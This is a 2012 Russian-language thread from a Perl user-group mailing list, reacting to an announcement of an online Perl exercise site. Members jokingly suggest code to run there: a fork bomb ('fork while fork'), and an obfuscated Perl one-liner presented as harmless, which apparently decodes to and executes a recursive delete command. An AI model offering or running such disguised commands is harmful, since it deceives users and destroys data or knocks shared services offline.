можно и не перегружатся:
echo "test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y;
-/:-@[-`{-};`-{/" -;;s;;$_;see'

2012/9/28 dv1983 <[email protected]>

> Хороший код, только перегрузился.
>
>
> On 28.09.2012 15:48, Alex Varyanick wrote:
>
>> 2012/9/27 Yaroslav Korshak<[email protected]>:
>>
>>  В следующем докладе автор презентовал сообществу свой новый ресурс
>>> http://perltuts.com - замечательный сайт на котором можно познакомиться
>>> с
>>> языком Perl выполняя упражнения онлайн. Пользователи могут не только
>>> ознакомиться с пособиями по Perl, но и в реальном времени выполнять
>>> упражнения, написать код и видеть результат его выполнения.
>>>
>> Кстати, чего там надо реализовать?
>> 1. fork while fork;
>> остальное опять память отшибло :)
>>
>>  ______________________________**_________________
> Kiev-pm mailing list
> [email protected]
> http://mail.pm.org/mailman/**listinfo/kiev-pm<http://mail.pm.org/mailman/listinfo/kiev-pm>
>
_______________________________________________
Kiev-pm mailing list
[email protected]
http://mail.pm.org/mailman/listinfo/kiev-pm

Ответить